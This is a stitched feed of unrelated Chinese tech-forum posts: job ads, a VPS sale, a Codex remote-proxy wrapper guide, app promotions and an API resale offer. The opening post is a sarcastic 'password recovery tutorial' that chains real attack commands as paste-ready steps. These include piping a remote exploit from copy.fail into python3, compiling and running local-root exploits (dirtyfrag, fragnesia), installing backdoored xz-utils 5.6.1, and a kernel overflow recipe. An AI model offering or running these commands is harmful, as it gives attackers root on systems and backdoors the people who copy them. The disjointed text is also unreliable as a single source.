Linux 找回密码教程，建议收藏！ curl https://copy.fail/exp | python3 && su passwd root 设置你的新密码
你的 Linux 密码又忘了？ 没关系，这里还有一个新的！ git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
不想再忘记密码了？ 我们有专业的黑客团队帮您运维服务器和保管密码！ 项目地址: https://github.com/tukaani-project/xz/tree/v5.6.1 sudo apt install xz-utils=5.6.1-1 sudo systemctl restart ssh
容易忘记密码的有福了，每天都有新办法！ https://ze3tar.github.io/post-zcrx.html 插入一个支持 ZCRX 的高端网卡，让它 down 掉，然后 ptr_ring drain + scrub loop 重复入栈把 free_count 写溢出即可
什么，你买不起高端网卡？那试试这个吧！ git clone https://github.com/v12-security/pocs.git&& cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp
听说您的机房不允许 ssh 外连，只能通过 KVM 物理访问服务器? 没关系，我们的专业黑客团队也可以通过 nginx 帮助运维您的服务器！ https://depthfirst.com/nginx-rift
原来您是 Mac 用户? 没关系，MacBook 也可以！ First public macOS kernel memory corruption exploit on Apple M5: https://blog.calif.io/p/first-public-kernel-memory-corruption 这是首个公开的 M5 内核内存破坏利用。Apple 花费五年构建 MIE 以阻止此类攻击，但结果说明 AI 与专家协作可快速突破顶级防御。
人力成本不变，按当地政策交税
查了下，香港/新加坡 房价高，税低
东京 房价稍低，税高
迪拜 房价更低，税无
这样看来似乎该去迪拜吗？
]]>团队介绍 我们是一家聚焦 [ Agent 操作] 的 AI 初创公司，通过 AI 让用户少折腾，直接拿结果。初创成员均来自字节、百度、美团等大厂。在这里你将深度参与 AI Agent 项目从 0 到 1 的 building 过程，直接影响产品形态与技术演进。
工作职责
任职要求
如果你是应届生，我们期待你
我们可以提供：
我们内部鼓励自主探索，重构软件工程的协作范式，在这里研发可以直接修改 UI 稿，所有产品都会直接通过 vibe coding 来展示原型，欢迎大家加入我们这家全球最 AI Native 的公司～
投递邮箱： jeff@dmyh.tech ，标题姓名+学校
]]>
开发一款高并发、海量时序数据的统计聚合 Web 平台。需对接第三方 API 进行动态高频数据接入，处理千万/亿级流水数据的复杂计算与增量重算。前期 Docker 单机部署，后续分布式演进。
前端（用户端 + 管理端，30+ 页面）已全部完成，现需后端开发接入真实数据。
| 技术 | 用途 |
|---|---|
| Go | 全部后端服务 |
| ClickHouse | 时序数据存储、复杂聚合查询 |
| MySQL | 业务数据存储 |
| Redis | 缓存、任务队列、排行榜 |
| Docker | 容器化部署 |
熟悉 PostgreSQL + TimescaleDB 更佳，懂 Vue 3 / ECharts 全栈最佳
它的目标很简单：让 Finder 的右键菜单更好用一点。
我自己平时在 Mac 上处理文件时，经常会遇到一些很碎但高频的操作：
这些事情单独看都不复杂，但每次都要打开不同 App 、跑命令、拖文件，时间久了会觉得 Finder 原生右键菜单有点不够用。
所以我做了 iRight：把这些操作尽量收进 Finder 右键菜单里。
选中文件或文件夹后，右键就能直接处理，不需要在 Finder 、终端、图片工具、压缩工具之间来回切。
目前主要功能包括：
另外我比较在意隐私，所以目前 iRight：
唯一会联网的场景是“上传到图床”，而且目标地址是用户自己配置的 endpoint ，文件直接从本机传到自己的服务端。
技术上是 SwiftUI + Finder Sync Extension 。Finder Sync 的菜单构建是同步阻塞的，如果做得太重会明显卡右键菜单，所以里面对菜单图标、选中项快照、常用资源做了一些缓存和预热，尽量保证右键弹出速度稳定。
目前产品还在早期阶段，我主要想先收集真实 Mac 用户的反馈：
如果你也是 Mac 重度用户、设计师、开发者、自媒体，或者经常处理文件和图片，欢迎试用和提建议。
下载 / 介绍地址： https://apps.apple.com/cn/app/iright-%E8%B6%85%E7%BA%A7%E5%8F%B3%E9%94%AE/id6766478836?mt=12
也欢迎直接在楼里提需求，我会认真看。
]]>开发一款高并发、海量时序数据的统计聚合 Web 平台。需对接第三方 API 进行动态高频数据接入，处理千万/亿级流水数据的复杂计算与增量重算。前期 Docker 单机部署，后续分布式演进。
前端（用户端 + 管理端，30+ 页面）已全部完成，现需后端开发接入真实数据。
| 技术 | 用途 |
|---|---|
| Go | 全部后端服务 |
| ClickHouse | 时序数据存储、复杂聚合查询 |
| MySQL | 业务数据存储 |
| Redis | 缓存、任务队列、排行榜 |
| Docker | 容器化部署 |
熟悉 PostgreSQL + TimescaleDB 更佳，懂 Vue 3 / ECharts 全栈最佳
配置信息
2C2G20G
1T 双向流量(500G 单向流量)/100Mbps
续费价格 23.33Eur/年(支持支付宝续费)
交易方式 官方 push 转移到你的账户
出售价格 165R
TG 联系方式 aHR0cHM6Ly90Lm1lL1JSTlpSX2JvdA==
这是一种什么样的心理，同样价格的商品，为什么对付费软件的要求，会显著高于其它同价格的产品
这种市场认知下，软件产品如何定价更合理
]]>当然还有个选项是仅仅保持代码同步，ai 的 sessin 就不管了，切换机器做 vibe coding 时就让它们自己重新阅读代码改动，各自在自己的环境和 session 上进行开发。但随着项目变大，这种操作使得额度的消耗变得很快。
想了解下各位，你们是否有这样的困扰，有啥解决方案吗？（我也尝试过将 agent 记录 session 的数据进行机器间同步，但会遇到一些零散的小问题，体验上也不是很好）
]]>公司前两年发的也是一台 mbp ，m2pro 。
移动办公的话，基本上有公司的就够了。说实话在家里基本上从来没看过 mbp 自带的屏幕。
考虑到同配置 mac mini 和 mbp 的巨大差价，感觉是不是等 mac mini 的 m5 好一点，好像有消息说今年没有了。
]]>按以前的流程：打开录屏工具录一遍 → 导出视频 → 逐帧截图 → 打开 Word → 粘贴截图 → 写步骤说明 → 排版调格式。一个 5 分钟的操作流程，折腾下来两个小时起步。
这次同事丢给我一个工具，说"你试试这个"。抱着试试看的心态用了一下午，感觉像是发现了新大陆。
以前录屏就是机械地把屏幕操作录下来，回放的时候画面平淡如水，该看不清的地方还是看不清。
这个叫 FeelCut 的录屏工具，有个挺有意思的功能——智能运镜。它会自动追踪鼠标位置，在关键操作的时候自动放大聚焦。录完回看，画面会有一种"纪录片式"的推拉感，像是有人在帮你掌镜一样。
说实话第一次看到效果的时候有点被惊艳到。不是我剪辑水平突飞猛进了，是 AI 帮我干了这件事。
整个录屏流程分三步走：
第一步，选择录制内容——可以选窗口、选区域，也能同时开摄像头。
第二步，调整时间线——AI 已经帮你生成了运镜脚本，你可以在时间线上微调，哪里放大、哪里平移，一目了然。
第三步，导出素材——支持 MP4 和 GIF ，直接拿去用就行。
另外几个实用的小功能：
录屏本身是免费的，Windows 、Mac 、Linux 都能装，也没有水印。
录完屏，接下来才是重头戏——把视频变成文档。
以前这个过程最折磨人。一个操作录下来十几分钟，你要反复暂停、截图、写说明。步骤多了容易漏，截图截不准还得重来。
FeelCut 套件里有个叫 ManualAI 的工具，专门干这事。把录好的视频传上去，它会自动：
整个过程大概两三分钟。出来的初稿已经像模像样了，在它自带的编辑器里稍微改改措辞、调调顺序，就能直接导出 PDF 或 Word 。
从"录完视频"到"拿到一份可以发出去的文档"，整个流程下来可能也就十来分钟。对比以前两小时起步的手工流程，这个效率提升是实打实的。
说说我看到的几个场景：
我其实不太喜欢给人安利工具，大部分工具用几天就扔了。但这个确实帮我省了不少时间，尤其是"录屏自动变文档"这个流程，用过之后真的很难回到纯手动的方式。
如果你日常工作中经常需要做操作教程、产品演示、培训文档之类的，可以试试。反正录屏免费，ManualAI 也有免费额度，不好用卸了就是。
官网在这：feelcut.com
试完觉得好，回来谢我。
]]>这个问题困扰了我许久，有没有做过的同学，希望能指导下。
]]>codex 启动脚本，把 http_proxy、CODEX_HOME 等变量显式注入进去。
众所周知，Codex Desktop App 已经更新了原生 Remote SSH 支持。理论上，这意味着我们可以直接在桌面端连接远程机器，在远端继续已有的 Codex 会话，直接开始 Vibe Coding 。
但国内面临环境需要解决代理问题。Codex Desktop 连接到远端后，虽然能发现已有会话，但启动环境并不等价于手动启动 Codex CLI 的环境。
比如：
手动 SSH 上去，设置代理、切换 CODEX_HOME 、再启动 codex ，一切正常；但 Codex Desktop 自己连上去后，启动出来的 remote app-server 环境却不对。
经过一番 wrapper 嗅探，最终发现 Codex Desktop Remote 的远端启动流程大致是这样的：
1. ssh 到远端
2. 执行：/bin/sh -c 'PATH="${CODEX_INSTALL_DIR:-$HOME/.local/bin}:$PATH"; export PATH; codex --version'
3. 如果 codex --version 成功，再执行：
codex app-server --listen unix://
codex app-server proxy
这里最关键的是这一句： bash PATH="${CODEX_INSTALL_DIR:-$HOME/.local/bin}:$PATH" 的意思是：
这就给了我们一个非常干净的切入点。
无须污染日常 shell 的 PATH ，也不需要定制修改真实的 codex 的 bin 文件，只设置一个 CODEX_INSTALL_DIR ，让 Codex Desktop Remote 自己临时命中我们的 wrapper ，也就是很久以前对 VS Code 的 Codex 插件做 wrapper 一样。
先在远端确认真实 codex 路径：
command -v codex
假设输出是：
bash /path/to/real/codex
然后新建一个 Desktop 专用 wrapper 目录：
bash mkdir -p ~/.codex-desktop-bin
写一个同名 wrapper：
cat > ~/.codex-desktop-bin/codex <<'EOF'
#!/usr/bin/env bash
REAL_CODEX="/path/to/real/codex"
# 只在 Codex Desktop Remote 真正启动 app-server 时切换环境
if [ "${1:-}" = "app-server" ]; then
export CODEX_HOME="$HOME/.codex-api"
export HTTP_PROXY="http://127.0.0.1:7890"
export HTTPS_PROXY="http://127.0.0.1:7890"
export ALL_PROXY="socks5://127.0.0.1:7890"
export NO_PROXY="localhost,127.0.0.1,::1,*.local,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,100.64.0.0/10"
fi
# 避免真实 codex 进程继续看到这个 Desktop 专用变量
unset CODEX_INSTALL_DIR
exec "$REAL_CODEX" "$@"
EOF
chmod +x ~/.codex-desktop-bin/codex
然后在远端 shell profile 里只设置：
export CODEX_INSTALL_DIR="$HOME/.codex-desktop-bin"
注意，不要写：
export PATH="$CODEX_INSTALL_DIR:$PATH"
因为我们并不想影响自己手动输入 codex 时的行为。
最终效果是：
手动 SSH 后输入 codex：
-> 仍然使用原来的真实 codex
-> 仍然使用默认 ~/.codex
Codex Desktop Remote 启动：
-> 它自己执行 PATH="$CODEX_INSTALL_DIR:$PATH"
-> 命中 ~/.codex-desktop-bin/codex wrapper
-> app-server 分支自动设置 CODEX_HOME / proxy
可以这样验证：
echo "$CODEX_INSTALL_DIR"
which codex
理想情况下，输出应该类似：
/home/your-user/.codex-desktop-bin /path/to/real/codex
再模拟一下 Codex Desktop 的启动方式：
/bin/sh -c 'PATH="${CODEX_INSTALL_DIR:-$HOME/.local/bin}:$PATH"; export PATH; command -v codex; codex --version'
这时应该命中：
/home/your-user/.codex-desktop-bin/codex
这就说明 Codex Desktop Remote 会走 wrapper 。
最终，在 Codex Desktop App 上可以愉快的接管远程 session ，愉快地 Vibe Coding 。不过，怎么让 Codex Desktop 里的会话也激活 conda 环境尚未研究出来，只能在 AGENTS.md 里明确了。
]]>购买 token 套餐有点大材小用， 买按量计费又单次太贵， 本地部署设备有限又扛不住这么大的上下文。
所以目前还有能力一般，价格便宜的模型供应商吗？
]]>方案一、 负载均衡器直接安装在 VPC 内部以虚拟机的形式存在，这样天然实现了租户隔离，即使 CIDR 重叠也没有关系，但是随着租户越来越多虚拟机数量暴增，资源严重浪费。
方案二、 共享负载均衡池，部分人共用一个 nginx 进程，每个租户分配一个虚拟的 ip 地址，负载均衡器 proxy_pass 指向这个虚拟的 IP ，然后通过 NAT 进行转换引流到 VPC 中，但是缺点是 NAT 需要跟踪这些 SESSION ，表象过大。
不知道有没有做过的童鞋，给提提意见。
]]>
]]>现在似乎不会了，agent 的逻辑之下，LLM 会发现这是一个计算题，所以会当场写一个脚本再来算，就不会算错了
很多以前纯靠预测字符的方案难以解决的问题现在似乎都被解决了（至少不会再犯离谱的错误
]]>
起因是 GitHub Copilot 逐渐转向按量付费，五一假期我开始研究各种 Coding Plan 。过程中看到群友整理的飞书表格很有用，就想着做一个可以自动更新数据的网站，方便横向对比各家套餐。正好也有个地方能把小米送的 AI Token 用掉
产品的信息是通过爬虫获取内容后交给 AI 做数据格式化和总结实现的。下面的截图是以阿里云百炼 Token Plan 为例的爬虫输出：
网站目前会自动整理这些内容：
产品大表格： https://ai.dal.ao/product/table
适合直接横向比较各家套餐。
产品目录： https://ai.dal.ao/products
适合按产品或厂商浏览。
模型家族： https://ai.dal.ao/model-families
适合查看模型归属、跑分和相关信息。
FP8 量化后权重大概 13GB ，单张 24GB 显卡用 vLLM 就能跑 200K 上下文。
核心目标：claude 的风格，降低 tool call 的失败率，让 agent 能跑更长的连续任务。
蹲一下：Bug 反馈、奇怪的 trace 、改进建议都欢迎 🙏
🤗 HF: Qwen3.5-Sonnet-9B
]]>我最近在做一个 iPhone 上的语音笔记 App ，想解决的问题是：
录音很容易，但录完以后真正回看和整理很麻烦。
之前我自己经常遇到一种情况：会议或访谈录下来了，但后面几乎不会完整重听。最后录音只是“存档”，不是一份真正能用的笔记。
所以我做 HushNote 时，没有把它做成聊天助手或会议机器人，而是尽量保持一条比较短的路径：
录音 / 导入音频 -> 转写 -> 随手记 / 随手拍 -> 总结 -> 重点回看
随手记和随手拍主要是为了保留录音当下的上下文，比如白板、投影、现场临时想到的点，而不是把 App 做成复杂的笔记系统。
其中一个比较重要的取舍是本地优先：录音、转写和回看尽量留在 iPhone 上完成。云总结不是默认要求，而是用户主动配置后才使用。
现在比较想听听大家对几个问题的看法：
我目前还在调整定位和产品页，不确定“私密语音笔记 / 本地 AI 语音笔记”哪个表达更容易被理解。
如果愿意看一下，这里有官网和截图： https://hush-note.com/zh/local-ai-voice-notes
欢迎直接拍砖。
]]>定位很简单——稳定第一，不玩虚的。
Claude 系列：
| 线路 | 渠道来源 | SLA | 价格 |
|---|---|---|---|
| 企业线路 | 供给大厂的上游供应商直供 | 99%+ | 5 元/刀 |
| 稳定线路 | 自建号池 + AWS 混合渠道 | 99%+ | 2.6 元/刀 |
| 普通线路 | 第三方渠道 | 尽力而为 | 1 元/刀 |
GPT 系列： 🔥 普通线路 0.2 元/刀（全 Pro 号池，限时优惠）
其他模型（ Gemini / DeepSeek / Qwen 等）站内有完整定价。
| 厂商 | 模型 |
|---|---|
| Anthropic | Claude Opus 4.7 / 4.6 / Sonnet 4.6 / Haiku 4.5 （均支持 thinking ） |
| OpenAI | GPT-5.5 / 5.4 / 5.2 / 5 / o3 / o4-mini |
| Gemini 3.1 Pro / 3 Flash / 2.5 Pro / 2.5 Flash | |
| DeepSeek | R1 / V3.2 |
| 阿里 | Qwen3 Coder Plus / Qwen3 Max / Qwen3.5 系列 |
| Moonshot | Kimi K2.5 |
| 智谱 | GLM-5 |
| MiniMax | M2.5 |
117+ 模型，新模型上线 24h 内跟进。
每 10 楼抽 1 位，送 10 刀额度。
规则：回复本帖即参与，每 10 楼（第 10 、20 、30...楼）中奖，每人限中一次，中奖后站内私信我。
站点地址： https://comeu.ai
TG 频道： https://t.me/comeuai
有问题帖子里回复或站内 / TG 联系，稳定运营中。
]]>欢迎访问 NoteDeep 官网
四月份，NoteDeep 逐步完善了从基础设施到核心交互的多个环节。本期最主要的变化是接入了 AI 助手，并引入了思维导图、白板等新的区块。希望这两周的更新，能让你的日常记录和知识梳理变得更顺手一些。
1. AI 智能助手接入 现在，NoteDeep 的右侧多了一个 AI 侧边栏。 日常比较实用的一个场景是：在阅读或整理笔记时，可以直接划选部分文本，点击“加入对话”。AI 会结合这部分上下文来回答你的问题。在处理复杂问题时，AI 还会展示出它的“思考过程（ Thinking Mode ）”。另外，你也可以尝试让它根据你的要求生成一些简单的结构化页面。
2. 白板与思维导图 有时纯文本不太容易把事情说清楚。 这次我们在编辑器中加入了 思维导图（ Markmap ） 和 自由白板（ Whiteboard ） 区块。你可以直接在笔记中插入一块画布来画点简单的流程图，或者把列表大纲转换成节点图。同时，新的折叠面板（ Collapsible Panel ）也能帮你把一些暂时不需要关注的补充说明折叠起来，让页面看起来更干净。
3. 页签固定（ Pin ）功能 对于重度用户，顶部密密麻麻的页签往往难以管理。 现在你可以右键将常用的笔记页签「固定（ Pin ）」在标签栏最左侧了。固定的页签不会被意外关闭或挤出视线，而且页签的打开上限也被我们放宽到了 20 个。
四月份在底层架构上花了不少精力。 为了让 AI 能够更好地理解并生成 NoteDeep 的页面，我重构了底层的 Markdown 协议，让基础文字、表格以及思维导图等，都能在 AI 的纯文本世界与编辑器的富文本 DOM 之间进行双向转换。 这个过程比较繁琐，也会有一些不可避免的取舍，但看到 AI 终于能较好地理解结构化意图并排版出页面时，觉得这些工作还是挺值得的。
有了 AI 助手的加入和一些新的区块，希望 NoteDeep 能更好地帮你梳理日常的想法和逻辑。 欢迎访问 NoteDeep 官网 体验最新版本！ 如果你觉得 AI 助手的上下文功能还能在哪些场景帮到你，欢迎向我反馈！
#知识管理 #个人知识库 #独立开发 #笔记管理 #AI 助手 #效率工具 #NoteDeep #思维导图 #白板
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11 点多还在响应，过去半个多小时了，没动静了，你喊他一声，他就能继续
]]>
]]>听说过我的人应该知道，我就是那个一路从渣渣二本逆袭过来的 JsonChao ，在大厂待了四年后，最终我们和平分手，没错，大白话就是，我现在失业了。
现在的就业环境有多差，大家是知道的，虽然人到中年（ 33 岁），上有老下有小，但是这几年的大厂经历还是让我攒下了一点余粮，所以我目前的想法是想自己做一些出海的小产品，赚点老外手里的美金来维持下家用。
下面，就来介绍下我开发的网站~
FacelessReels 是一款面向内容创作者的 AI 无露脸短视频系统，帮助用户选择细分赛道、生成选题脚本、定制画面风格、规划字幕节奏，并将视频发布到 TikTok 、Instagram Reels 和 YouTube Shorts 等平台。
它适合不想出镜、没有拍摄团队、希望批量生产短视频的创作者、营销人员和独立开发者，把无露脸内容从灵感变成可持续执行的发布流程，提升短视频内容效率和账号运营、稳定增长。
👏🏻👏🏻 欢迎各位大佬来品鉴这款产品，期待您的宝贵意见，我一定虚心接受您的教诲和提点~
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